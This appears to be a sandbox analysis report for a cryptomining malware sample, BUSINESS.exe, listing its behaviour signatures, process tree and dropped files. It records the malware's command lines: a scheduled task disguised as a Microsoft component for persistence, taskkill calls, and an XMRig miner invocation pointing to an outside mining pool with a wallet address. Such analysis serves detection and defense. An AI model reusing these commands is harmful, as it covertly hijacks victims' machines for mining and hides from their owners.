Overview

overview

10

Static

static

3

BUSINESS.exe

windows10-2004-x64

10

BUSINESS.exe

windows10-ltsc_2021-x64

10

BUSINESS.exe

windows11-21h2-x64

10

BUSINESS.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    900s
  • max time network
    899s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-de
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-delocale:de-deos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/08/2026, 18:43

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    BUSINESS.exe
  • Size 3.1MB
  • Sample260828-xdeeqsdh39
  • SHA256 77732467adc21963457d9a933842cffae9a9c4c46e5abbb26be3b3ac94fa406b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionexecutionxmrigminerpersistence

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Executes dropped EXE 4 IoCs
  • Kills process with taskkill 2 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\BUSINESS.exe
    "C:\Users\Admin\AppData\Local\Temp\BUSINESS.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\system32\schtasks.exe
      "schtasks.exe" /Create /TN Microsoft\RuntimeBroker /XML C:\ProgramData\MicrosoftRuntime\task.xml /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4776
    • C:\ProgramData\MicrosoftRuntime\spoolsvdh.exe
      "C:\ProgramData\MicrosoftRuntime\spoolsvdh.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1468
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /F /IM xwin.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4064
      • C:\ProgramData\MicrosoftRuntime\xwin\xwin.exe
        "C:\ProgramData\MicrosoftRuntime\xwin\xwin.exe" --http-enable --http-port 37575 --algo rx/0 --url pool.hashvault.pro:443 --user 87uCyt4KBazQmM3nEyvH9LcexVdTb9yE4bQgD9uE8TmeLuMyEfbhWgBGmJB2MKhkdUZSvQ3QrVPUt8iFQts9ouh5NnxHZpJ --pass Ryzen --threads 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:6088
      • C:\Windows\system32\taskkill.exe
        "taskkill.exe" /F /IM xwin.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3160
      • C:\ProgramData\MicrosoftRuntime\xwin\xwin.exe
        "C:\ProgramData\MicrosoftRuntime\xwin\xwin.exe" --http-enable --http-port 37575 --algo rx/0 --url pool.hashvault.pro:443 --user 87uCyt4KBazQmM3nEyvH9LcexVdTb9yE4bQgD9uE8TmeLuMyEfbhWgBGmJB2MKhkdUZSvQ3QrVPUt8iFQts9ouh5NnxHZpJ --pass Ryzen --threads 8 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4956
    • C:\ProgramData\MicrosoftRuntime\WmiPrvSErs.exe
      "C:\ProgramData\MicrosoftRuntime\WmiPrvSErs.exe" --watchdog
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:2300
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:5912
    • C:\Windows\System32\SecurityHealthHost.exe
      \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
      1⤵
        PID:1140

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            spoolsvdh.exe
            • Path C:\ProgramData\MicrosoftRuntime\spoolsvdh.exe
            • Size 3.1MB
            • SHA256 77732467adc21963457d9a933842cffae9a9c4c46e5abbb26be3b3ac94fa406b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            task.xml
            • Path C:\ProgramData\MicrosoftRuntime\task.xml
            • Size 1KB
            • SHA256 a8b60d9f6f4ad2e3b6fea902bfd4a19dde1d495c26a657b8e6dc8a459feb0b01
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            xwin.exe
            • Path C:\ProgramData\MicrosoftRuntime\xwin\xwin.exe
            • Size 6.1MB
            • SHA256 c37bb7771f6eaec85825ca8303493c6948567d3b00b9be17a8763cf7b8c8ed90
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/6088-10-0x000002CADDEC0000-0x000002CADDEE0000-memory.dmp
            Download